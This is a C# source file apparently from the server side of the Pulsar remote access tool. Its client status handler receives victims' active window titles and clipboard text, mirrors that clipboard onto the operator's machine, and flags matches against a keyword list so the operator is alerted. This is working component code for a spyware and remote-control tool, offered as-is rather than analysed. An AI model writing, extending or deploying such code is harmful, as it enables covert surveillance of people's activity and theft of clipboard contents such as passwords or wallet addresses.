using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Server.Forms; using Pulsar.Server.Helper; using Pulsar.Server.Networking; using System; using System.IO; using System.Linq; using System.Threading; using Newtonsoft.Json; using System.Threading.Tasks; using System.Windows.Forms; using System.Diagnostics; namespace Pulsar.Server.Messages { /// /// Handles messages for the interaction with the remote client status. /// public class ClientStatusHandler : MessageProcessorBase { /// /// Represents the method that will handle status updates. /// /// The message handler which raised the event. /// The client which updated the status. /// The new status. public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); /// /// Represents the method that will handle user status updates. /// /// The message handler which raised the event. /// The client which updated the user status. /// The new user status. public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); public delegate void UserActiveWindowStatusUpdatedEventHandler(object sender, Client client, string newWindow); public delegate void UserClipboardStatusUpdatedEventHandler(object sender, Client client, string clipboardText); /// /// Raised when a client updated its status. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event StatusUpdatedEventHandler StatusUpdated; /// /// Raised when a client updated its user status. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event UserStatusUpdatedEventHandler UserStatusUpdated; public event UserActiveWindowStatusUpdatedEventHandler UserActiveWindowStatusUpdated; public event UserClipboardStatusUpdatedEventHandler UserClipboardStatusUpdated; /// /// Reports an updated status. /// /// The client which updated the status. /// The new status. private void OnStatusUpdated(Client client, string statusMessage) { SynchronizationContext.Post(c => { var handler = StatusUpdated; handler?.Invoke(this, (Client)c, statusMessage); }, client); } /// /// Reports an updated user status. /// /// The client which updated the user status. /// The new user status. private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) { SynchronizationContext.Post(c => { var handler = UserStatusUpdated; handler?.Invoke(this, (Client)c, userStatusMessage); }, client); } private void OnUserActiveWindowStatusUpdated(Client client, string newWindow) { SynchronizationContext.Post(c => { var handler = UserActiveWindowStatusUpdated; handler?.Invoke(this, (Client)c, newWindow); }, client); } private void OnUserClipboardStatusUpdated(Client client, string clipboardText) { SynchronizationContext.Post(c => { var handler = UserClipboardStatusUpdated; handler?.Invoke(this, (Client)c, clipboardText); }, client); } /// /// Initializes a new instance of the class. /// public ClientStatusHandler() : base(true) { } /// public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus || message is SetUserActiveWindowStatus || message is SetUserClipboardStatus; /// public override bool CanExecuteFrom(ISender sender) => true; /// public override void Execute(ISender sender, IMessage message) { switch (message) { case SetStatus status: Execute((Client)sender, status); break; case SetUserStatus userStatus: Execute((Client)sender, userStatus); break; case SetUserActiveWindowStatus userActiveWindowStatus: Execute((Client)sender, userActiveWindowStatus); break; case SetUserClipboardStatus userClipboardStatus: Execute((Client)sender, userClipboardStatus); break; } } private void Execute(Client client, SetStatus message) { OnStatusUpdated(client, message.Message); } private void Execute(Client client, SetUserStatus message) { OnUserStatusUpdated(client, message.Message); } private void Execute(Client client, SetUserActiveWindowStatus message) { OnUserActiveWindowStatusUpdated(client, message.WindowTitle); if (message.WindowTitle == null) { return; } Task.Run(() => { string keywordsFilePath = Path.Combine(Application.StartupPath, "PulsarStuff", "keywords.json"); if (File.Exists(keywordsFilePath)) { string jsonContent = File.ReadAllText(keywordsFilePath); var keywords = JsonConvert.DeserializeObject(jsonContent); if (keywords != null) { var matchedKeyword = keywords.FirstOrDefault(keyword => message.WindowTitle.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0); if (matchedKeyword != null) { FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain; if (frm != null) { frm.Invoke(new Action(() => { FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered: " + matchedKeyword, message.WindowTitle); })); } } } } }); } private void Execute(Client client, SetUserClipboardStatus message) { OnUserClipboardStatusUpdated(client, message.ClipboardText); if (string.IsNullOrEmpty(message.ClipboardText)) { return; } if (client.ClipboardSyncEnabled) { try { Debug.WriteLine($"Server: Mirroring clipboard from client ({client.EndPoint}): {message.ClipboardText.Substring(0, Math.Min(20, message.ClipboardText.Length))}..."); ClipboardMonitor.NotifyReceivedFromClient(message.ClipboardText); Thread clipboardThread = new Thread(() => { try { Thread.CurrentThread.SetApartmentState(ApartmentState.STA); Clipboard.SetText(message.ClipboardText); Debug.WriteLine("Server: Successfully mirrored clipboard from client"); } catch (Exception ex) { Debug.WriteLine($"Server: Error setting clipboard: {ex.Message}"); } }); clipboardThread.SetApartmentState(ApartmentState.STA); clipboardThread.Start(); clipboardThread.Join(1000); } catch (Exception ex) { Debug.WriteLine($"Server: Error in clipboard thread creation: {ex.Message}"); } } else { Debug.WriteLine("Server: Clipboard sync disabled for this client; skipping host clipboard update."); } Task.Run(() => { string keywordsFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keywords.json"); if (File.Exists(keywordsFilePath)) { string jsonContent = File.ReadAllText(keywordsFilePath); var keywords = JsonConvert.DeserializeObject(jsonContent); if (keywords != null) { var matchedKeyword = keywords.FirstOrDefault(keyword => message.ClipboardText.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0); if (matchedKeyword != null) { FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain; if (frm != null) { frm.Invoke(new Action(() => { FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered (Clipboard): " + matchedKeyword, message.ClipboardText); })); } } } } }); } } }